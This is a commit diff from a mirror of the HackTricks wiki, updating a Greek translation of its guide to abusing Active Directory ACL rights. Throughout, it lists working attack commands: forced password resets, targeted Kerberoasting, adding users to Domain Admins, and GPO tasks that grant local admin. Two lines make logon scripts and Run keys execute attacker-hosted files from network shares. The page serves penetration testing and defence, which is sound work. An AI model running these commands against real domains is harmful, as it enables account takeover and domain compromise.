mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
c0959d8094
commit
52dd5ebd02
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Κατάχρηση των Active Directory ACLs/ACEs
|
||||
# Abusing Active Directory ACLs/ACEs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,24 +11,39 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll δικαιώματα σε χρήστη**
|
||||
## **GenericAll Δικαιώματα σε Χρήστη**
|
||||
|
||||
Αυτό το προνόμιο δίνει σε έναν επιτιθέμενο πλήρη έλεγχο πάνω σε έναν στοχευμένο λογαριασμό χρήστη. Μόλις τα δικαιώματα `GenericAll` επιβεβαιωθούν χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ένας επιτιθέμενος μπορεί να:
|
||||
Αυτό το δικαίωμα παρέχει στον επιτιθέμενο πλήρη έλεγχο πάνω σε έναν λογαριασμό-στόχο χρήστη. Μόλις τα δικαιώματα `GenericAll` επιβεβαιωθούν χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ο επιτιθέμενος μπορεί:
|
||||
|
||||
- **Αλλαγή του κωδικού του στόχου**: Χρησιμοποιώντας `net user <username> <password> /domain`, ο επιτιθέμενος μπορεί να επαναφέρει τον κωδικό του χρήστη.
|
||||
- **Targeted Kerberoasting**: Ανάθεσε ένα SPN στον λογαριασμό του χρήστη για να τον καταστήσεις kerberoastable, στη συνέχεια χρησιμοποίησε Rubeus και targetedKerberoast.py για να εξαγάγεις και να επιχειρήσεις να σπάσεις τα hashes του ticket-granting ticket (TGT).
|
||||
- Από το Linux, μπορείτε να κάνετε το ίδιο μέσω SAMR με το Samba χρησιμοποιώντας `net rpc`:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **Εάν ο λογαριασμός είναι απενεργοποιημένος, καταργήστε τη σημαία UAC**: `GenericAll` επιτρέπει την επεξεργασία του `userAccountControl`. Από το Linux, το BloodyAD μπορεί να αφαιρέσει τη σημαία `ACCOUNTDISABLE`:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: Ανάθεσε ένα SPN στον λογαριασμό του χρήστη για να τον κάνεις kerberoastable, και στη συνέχεια χρησιμοποίησε Rubeus και targetedKerberoast.py για να εξάγεις και να προσπαθήσεις να crack τα ticket-granting ticket (TGT) hashes.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Απενεργοποιήστε το pre-authentication για τον χρήστη, καθιστώντας τον λογαριασμό του ευάλωτο σε ASREPRoasting.
|
||||
- **Στοχευμένο ASREPRoasting**: Απενεργοποιήστε την προ-επαλήθευση για τον χρήστη, κάνοντας τον λογαριασμό τους ευάλωτο σε ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll Δικαιώματα σε Ομάδα**
|
||||
- **Shadow Credentials / Key Credential Link**: Με το `GenericAll` σε έναν χρήστη μπορείτε να προσθέσετε ένα πιστοποιητικό-βασισμένο διαπιστευτήριο και να αυθεντικοποιηθείτε ως αυτός χωρίς να αλλάξετε τον κωδικό πρόσβασής τους. Δείτε:
|
||||
|
||||
Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να χειρίζεται τις συμμετοχές σε ομάδα εάν έχει δικαιώματα `GenericAll` σε μια ομάδα όπως την `Domain Admins`. Αφού εντοπίσει το distinguished name της ομάδας με το `Get-NetGroup`, ο επιτιθέμενος μπορεί:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
## **Δικαιώματα `GenericAll` σε Ομάδα**
|
||||
|
||||
Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει τα μέλη μιας ομάδας εάν έχει δικαιώματα `GenericAll` σε μια ομάδα όπως `Domain Admins`. Αφού εντοπίσει το διακριτό όνομα της ομάδας με `Get-NetGroup`, ο επιτιθέμενος μπορεί να:
|
||||
|
||||
- **Προσθήκη του εαυτού τους στην ομάδα `Domain Admins`**: Αυτό μπορεί να γίνει μέσω άμεσων εντολών ή χρησιμοποιώντας modules όπως Active Directory ή PowerSploit.
|
||||
```bash
|
||||
@ -36,7 +51,7 @@ net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Από Linux μπορείτε επίσης να εκμεταλλευτείτε το BloodyAD για να προσθέσετε τον εαυτό σας σε αυθαίρετες ομάδες όταν έχετε δικαιώματα GenericAll/Write επ’ αυτών. Εάν η στοχευόμενη ομάδα είναι εμφωλευμένη στο “Remote Management Users”, θα αποκτήσετε αμέσως πρόσβαση WinRM σε hosts που αναγνωρίζουν αυτή την ομάδα:
|
||||
- Από Linux μπορείς επίσης να χρησιμοποιήσεις το BloodyAD για να προσθέσεις τον εαυτό σου σε αυθαίρετες ομάδες όταν έχεις GenericAll/Write membership πάνω τους. Εάν η στοχευόμενη ομάδα είναι nested στο “Remote Management Users”, θα αποκτήσεις αμέσως WinRM access σε hosts που αναγνωρίζουν αυτή την ομάδα:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Η κατοχή αυτών των δικαιωμάτων σε ένα αντικείμενο υπολογιστή ή σε λογαριασμό χρήστη επιτρέπει:
|
||||
Η κατοχή αυτών των προνομίων σε ένα αντικείμενο υπολογιστή ή σε λογαριασμό χρήστη επιτρέπει:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Επιτρέπει την κατάληψη ενός αντικειμένου υπολογιστή.
|
||||
- **Shadow Credentials**: Χρησιμοποιήστε αυτήν την τεχνική για να προσποιηθείτε έναν υπολογιστή ή λογαριασμό χρήστη, εκμεταλλευόμενοι τα δικαιώματα για να δημιουργήσετε shadow credentials.
|
||||
- **Kerberos Resource-based Constrained Delegation**: Επιτρέπει την ανάληψη ελέγχου ενός αντικειμένου υπολογιστή.
|
||||
- **Shadow Credentials**: Χρησιμοποιήστε αυτήν την τεχνική για να μιμηθείτε έναν υπολογιστή ή λογαριασμό χρήστη, εκμεταλλευόμενοι τα προνόμια για να δημιουργήσετε shadow credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Αν ένας χρήστης διαθέτει δικαιώματα `WriteProperty` σε όλα τα αντικείμενα μιας συγκεκριμένης ομάδας (π.χ., `Domain Admins`), μπορεί να:
|
||||
Εάν ένας χρήστης έχει δικαιώματα `WriteProperty` σε όλα τα αντικείμενα για μία συγκεκριμένη ομάδα (π.χ. `Domain Admins`), μπορεί να:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: Εφικτό μέσω συνδυασμού των εντολών `net user` και `Add-NetGroupUser`, αυτή η μέθοδος επιτρέπει την κλιμάκωση προνομίων εντός του domain.
|
||||
- **Add Themselves to the Domain Admins Group**: Επιτυγχάνεται συνδυάζοντας τις εντολές `net user` και `Add-NetGroupUser`, αυτή η μέθοδος επιτρέπει privilege escalation εντός του domain.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Αυτό το προνόμιο επιτρέπει σε επιτιθέμενους να προσθέσουν τον εαυτό τους σε συγκεκριμένες ομάδες, όπως `Domain Admins`, μέσω εντολών που χειρίζονται άμεσα τα μέλη της ομάδας. Η χρήση της ακόλουθης ακολουθίας εντολών επιτρέπει την αυτο-προσθήκη:
|
||||
Αυτό το προνόμιο επιτρέπει σε επιτιθέμενους να προσθέσουν οι ίδιοι τον εαυτό τους σε συγκεκριμένες ομάδες, όπως `Domain Admins`, μέσω εντολών που χειρίζονται άμεσα τη συμμετοχή σε ομάδες. Η χρήση της παρακάτω αλληλουχίας εντολών επιτρέπει την αυτοπροσθήκη:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Ένα παρόμοιο προνόμιο, αυτό επιτρέπει σε επιτιθέμενους να προσθέτουν απευθείας τον εαυτό τους σε ομάδες τροποποιώντας τις ιδιότητες της ομάδας, εφόσον έχουν το δικαίωμα `WriteProperty` σε αυτές τις ομάδες. Η επιβεβαίωση και η εκτέλεση αυτού του προνόμιου γίνονται με:
|
||||
Παρόμοιο προνόμιο, αυτό επιτρέπει σε επιτιθέμενους να προσθέσουν απευθείας τον εαυτό τους σε ομάδες τροποποιώντας τις ιδιότητες των ομάδων εάν έχουν το δικαίωμα `WriteProperty` σε αυτές τις ομάδες. Η επιβεβαίωση και η εκτέλεση αυτού του προνομίου γίνονται με:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά κωδικών χωρίς να γνωρίζετε τον τρέχοντα κωδικό. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορούν να γίνουν μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας διάφορες μεθόδους για την επαναφορά του κωδικού ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και one-liners για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές κλήσεις PowerShell έως τη χρήση του `rpcclient` σε Linux, δείχνοντας την ευελιξία των attack vectors.
|
||||
Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει επαναρυθμίσεις κωδικού χωρίς γνώση του τρέχοντος κωδικού. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορούν να γίνουν μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας αρκετές μεθόδους για την επαναφορά του κωδικού ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και εντολών μίας γραμμής για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές κλήσεις PowerShell έως χρήση του `rpcclient` σε Linux, δείχνοντας την ευελιξία των διανυσμάτων επίθεσης.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner on Group**
|
||||
## **WriteOwner σε Group**
|
||||
|
||||
Εάν ένας επιτιθέμενος διαπιστώσει ότι έχει δικαιώματα `WriteOwner` πάνω σε μια ομάδα, μπορεί να αλλάξει την ιδιοκτησία της ομάδας στον εαυτό του. Αυτό είναι ιδιαίτερα επιδραστικό όταν η ομάδα στην οποία αναφερόμαστε είναι οι `Domain Admins`, καθώς η αλλαγή ιδιοκτησίας επιτρέπει ευρύτερο έλεγχο πάνω σε χαρακτηριστικά της ομάδας και στη σύνθεσή της. Η διαδικασία περιλαμβάνει τον εντοπισμό του σωστού αντικειμένου μέσω `Get-ObjectAcl` και στη συνέχεια τη χρήση του `Set-DomainObjectOwner` για να τροποποιηθεί ο ιδιοκτήτης, είτε με SID είτε με όνομα.
|
||||
Εάν ένας επιτιθέμενος διαπιστώσει ότι έχει δικαιώματα `WriteOwner` σε μια ομάδα, μπορεί να αλλάξει την ιδιοκτησία της ομάδας προς τον εαυτό του. Αυτό είναι ιδιαίτερα σημαντικό όταν η ομάδα στην οποία αναφέρεται είναι οι `Domain Admins`, καθώς η αλλαγή ιδιοκτησίας επιτρέπει ευρύτερο έλεγχο στα attributes της ομάδας και στη σύνθεσή της. Η διαδικασία περιλαμβάνει την ταυτοποίηση του σωστού αντικειμένου μέσω του `Get-ObjectAcl` και στη συνέχεια τη χρήση του `Set-DomainObjectOwner` για να τροποποιηθεί ο ιδιοκτήτης, είτε με SID είτε με όνομα.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει ιδιότητες χρήστη. Συγκεκριμένα, με πρόσβαση `GenericWrite`, ο επιτιθέμενος μπορεί να αλλάξει τη διαδρομή του logon script ενός χρήστη ώστε να εκτελεστεί ένα κακόβουλο script κατά το logon του χρήστη. Αυτό επιτυγχάνεται χρησιμοποιώντας την εντολή `Set-ADObject` για να ενημερωθεί η ιδιότητα `scriptpath` του στοχευμένου χρήστη ώστε να δείχνει στο script του επιτιθέμενου.
|
||||
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να τροποποιεί ιδιότητες χρήστη. Συγκεκριμένα, με πρόσβαση `GenericWrite`, ο επιτιθέμενος μπορεί να αλλάξει τη διαδρομή του logon script ενός χρήστη ώστε να εκτελεστεί κακόβουλο script κατά τη σύνδεση του χρήστη. Αυτό επιτυγχάνεται χρησιμοποιώντας την εντολή `Set-ADObject` για την ενημέρωση της ιδιότητας `scriptpath` του στοχευόμενου χρήστη ώστε να δείχνει στο script του επιτιθέμενου.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να χειρίζονται τη συμμετοχή σε ομάδες, όπως να προσθέτουν τον εαυτό τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός credential object, τη χρήση του για να προσθέσουν ή να αφαιρέσουν χρήστες από μια ομάδα, και την επαλήθευση των αλλαγών συμμετοχής με εντολές PowerShell.
|
||||
Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να χειριστούν τη συμμετοχή σε ομάδες, όπως να προσθέσουν τον εαυτό τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός αντικειμένου διαπιστευτηρίων, τη χρήση του για να προσθέσουν ή να αφαιρέσουν χρήστες από μια ομάδα, και την επαλήθευση των αλλαγών στη συμμετοχή με εντολές PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Από το Linux, το Samba `net` μπορεί να προσθέσει/αφαιρέσει μέλη όταν έχεις `GenericWrite` στην ομάδα (χρήσιμο όταν το PowerShell/RSAT δεν είναι διαθέσιμα):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Το να κατέχεις ένα αντικείμενο AD και να έχεις δικαιώματα `WriteDACL` πάνω του επιτρέπει σε έναν επιτιθέμενο να παραχωρήσει στον εαυτό του δικαιώματα `GenericAll` πάνω στο αντικείμενο. Αυτό επιτυγχάνεται μέσω χειρισμού του ADSI, παρέχοντας πλήρη έλεγχο του αντικειμένου και τη δυνατότητα να τροποποιήσει τις συμμετοχές του σε ομάδες. Παρόλα αυτά, υπάρχουν περιορισμοί όταν κάποιος προσπαθεί να εκμεταλλευτεί αυτά τα δικαιώματα χρησιμοποιώντας τα cmdlets `Set-Acl` / `Get-Acl` του Active Directory module.
|
||||
Η κατοχή ενός αντικειμένου AD και η ύπαρξη δικαιωμάτων `WriteDACL` σε αυτό επιτρέπει σε έναν επιτιθέμενο να χορηγήσει στον εαυτό του δικαιώματα `GenericAll` πάνω στο αντικείμενο. Αυτό επιτυγχάνεται μέσω χειρισμού του ADSI, επιτρέποντας πλήρη έλεγχο του αντικειμένου και τη δυνατότητα τροποποίησης των μελών των ομάδων του. Παρ' όλα αυτά, υπάρχουν περιορισμοί όταν προσπαθεί κανείς να εκμεταλλευτεί αυτά τα δικαιώματα χρησιμοποιώντας τα cmdlets `Set-Acl` / `Get-Acl` του Active Directory module.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Αναπαραγωγή στον τομέα (DCSync)**
|
||||
### WriteDACL/WriteOwner quick takeover (PowerView)
|
||||
|
||||
Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένα δικαιώματα αναπαραγωγής στον τομέα για να μιμηθεί έναν Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρηστών. Αυτή η ισχυρή τεχνική απαιτεί δικαιώματα όπως `DS-Replication-Get-Changes`, επιτρέποντας σε επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το AD περιβάλλον χωρίς άμεση πρόσβαση σε Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
Όταν έχετε `WriteOwner` και `WriteDacl` πάνω σε λογαριασμό χρήστη ή λογαριασμό υπηρεσίας, μπορείτε να αποκτήσετε πλήρη έλεγχο και να επαναφέρετε τον κωδικό του χρησιμοποιώντας PowerView χωρίς να γνωρίζετε τον παλιό κωδικό:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Ενδέχεται να χρειαστεί πρώτα να ορίσετε ως ιδιοκτήτη τον εαυτό σας αν έχετε μόνο `WriteOwner`:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- Επαληθεύστε την πρόσβαση με οποιοδήποτε πρωτόκολλο (SMB/LDAP/RDP/WinRM) μετά την επαναφορά κωδικού.
|
||||
|
||||
## **Αναπαραγωγή στον Τομέα (DCSync)**
|
||||
|
||||
Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένα δικαιώματα αναπαραγωγής στον τομέα για να μιμηθεί έναν Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων διαπιστευτηρίων χρηστών. Αυτή η ισχυρή τεχνική απαιτεί δικαιώματα όπως `DS-Replication-Get-Changes`, επιτρέποντας σε επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το περιβάλλον AD χωρίς άμεση πρόσβαση σε Domain Controller. [**Μάθετε περισσότερα για την επίθεση DCSync εδώ.**](../dcsync.md)
|
||||
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### Ανάθεση GPO
|
||||
|
||||
Η εξουσιοδότηση για τη διαχείριση των Group Policy Objects (GPOs) μπορεί να παρουσιάσει σημαντικούς κινδύνους ασφάλειας. Για παράδειγμα, αν σε έναν χρήστη όπως ο `offense\spotless` ανατεθούν δικαιώματα διαχείρισης GPO, μπορεί να έχει προνόμια όπως **WriteProperty**, **WriteDacl**, και **WriteOwner**. Αυτά τα δικαιώματα μπορούν να χρησιμοποιηθούν κακόβουλα, όπως εντοπίζεται με το PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Η εκχωρημένη πρόσβαση για διαχείριση Group Policy Objects (GPOs) μπορεί να αποτελεί σημαντικό κίνδυνο ασφάλειας. Για παράδειγμα, αν σε χρήστη όπως `offense\spotless` έχει εκχωρηθεί δικαίωμα διαχείρισης GPO, μπορεί να έχει προνόμια όπως **WriteProperty**, **WriteDacl**, και **WriteOwner**. Αυτά τα δικαιώματα μπορούν να καταχραστούν για κακόβουλους σκοπούς, όπως εντοπίζονται με χρήση PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Ανίχνευση Δικαιωμάτων GPO
|
||||
### Εντοπισμός Δικαιωμάτων GPO
|
||||
|
||||
Για να εντοπιστούν λανθασμένα ρυθμισμένα GPOs, τα cmdlets του PowerSploit μπορούν να συνδυαστούν. Αυτό επιτρέπει την ανακάλυψη GPOs που ένας συγκεκριμένος χρήστης έχει δικαιώματα να διαχειρίζεται: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Για να εντοπίσετε εσφαλμένα ρυθμισμένα GPOs, τα cmdlets του PowerSploit μπορούν να συνδυαστούν. Αυτό επιτρέπει την ανακάλυψη GPOs που ένας συγκεκριμένος χρήστης έχει δικαιώματα να διαχειρίζεται: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Computers with a Given Policy Applied**: Είναι δυνατό να επιλυθεί σε ποιους υπολογιστές εφαρμόζεται ένα συγκεκριμένο GPO, βοηθώντας στην κατανόηση του εύρους της πιθανής επίπτωσης. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Υπολογιστές με την εν λόγω πολιτική**: Είναι δυνατό να εξακριβωθεί σε ποιους υπολογιστές εφαρμόζεται ένα συγκεκριμένο GPO, βοηθώντας να κατανοηθεί το εύρος του ενδεχόμενου αντίκτυπου. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Policies Applied to a Given Computer**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως `Get-DomainGPO`.
|
||||
**Πολιτικές που εφαρμόζονται σε συγκεκριμένο υπολογιστή**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως `Get-DomainGPO`.
|
||||
|
||||
**OUs with a Given Policy Applied**: Η αναγνώριση των organizational units (OUs) που επηρεάζονται από μια δεδομένη πολιτική μπορεί να γίνει χρησιμοποιώντας `Get-DomainOU`.
|
||||
**OUs στα οποία εφαρμόζεται η πολιτική**: Ο εντοπισμός των organizational units (OUs) που επηρεάζονται από μια πολιτική μπορεί να γίνει με `Get-DomainOU`.
|
||||
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**GPOHound**](https://github.com/cogiceo/GPOHound) για να καταγράψετε τα GPOs και να βρείτε ζητήματα σε αυτά.
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**GPOHound**](https://github.com/cogiceo/GPOHound) για την καταγραφή των GPOs και τον εντοπισμό προβλημάτων σε αυτά.
|
||||
|
||||
### Εκμετάλλευση GPO - New-GPOImmediateTask
|
||||
### Κατάχρηση GPO - New-GPOImmediateTask
|
||||
|
||||
Τα λανθασμένα ρυθμισμένα GPOs μπορούν να εκμεταλλευτούν για την εκτέλεση κώδικα, για παράδειγμα με τη δημιουργία μιας άμεσης χρονοπρογραμματισμένης εργασίας. Αυτό μπορεί να γίνει για να προστεθεί ένας χρήστης στην τοπική ομάδα διαχειριστών σε επηρεαζόμενους υπολογιστές, αυξάνοντας σημαντικά τα προνόμια:
|
||||
Τα εσφαλμένα ρυθμισμένα GPOs μπορούν να εκμεταλλευτούν για την εκτέλεση κώδικα, για παράδειγμα δημιουργώντας ένα άμεσο προγραμματισμένο task. Αυτό μπορεί να χρησιμοποιηθεί για να προστεθεί ένας χρήστης στην ομάδα τοπικών διαχειριστών στα επηρεαζόμενα μηχανήματα, αυξάνοντας σημαντικά τα προνόμια:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
Το GroupPolicy module, εάν είναι εγκατεστημένο, επιτρέπει τη δημιουργία και τη σύνδεση νέων GPOs, καθώς και τη ρύθμιση προτιμήσεων όπως registry values για την εκτέλεση backdoors στους επηρεαζόμενους υπολογιστές. Αυτή η μέθοδος απαιτεί το GPO να ενημερωθεί και έναν χρήστη να συνδεθεί στον υπολογιστή για να εκτελεστεί:
|
||||
Το GroupPolicy module, αν είναι εγκατεστημένο, επιτρέπει τη δημιουργία και τη σύνδεση νέων GPOs, καθώς και τον ορισμό προτιμήσεων όπως registry values για την εκτέλεση backdoors στους επηρεαζόμενους υπολογιστές. Αυτή η μέθοδος απαιτεί το GPO να ενημερωθεί και ένας χρήστης να συνδεθεί στον υπολογιστή για να γίνει η εκτέλεση:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
Το SharpGPOAbuse προσφέρει μια μέθοδο για την κατάχρηση υπαρχόντων GPOs, προσθέτοντας εργασίες ή τροποποιώντας ρυθμίσεις χωρίς την ανάγκη δημιουργίας νέων GPOs. Αυτό το εργαλείο απαιτεί την τροποποίηση υπαρχόντων GPOs ή τη χρήση εργαλείων RSAT για τη δημιουργία νέων πριν την εφαρμογή των αλλαγών:
|
||||
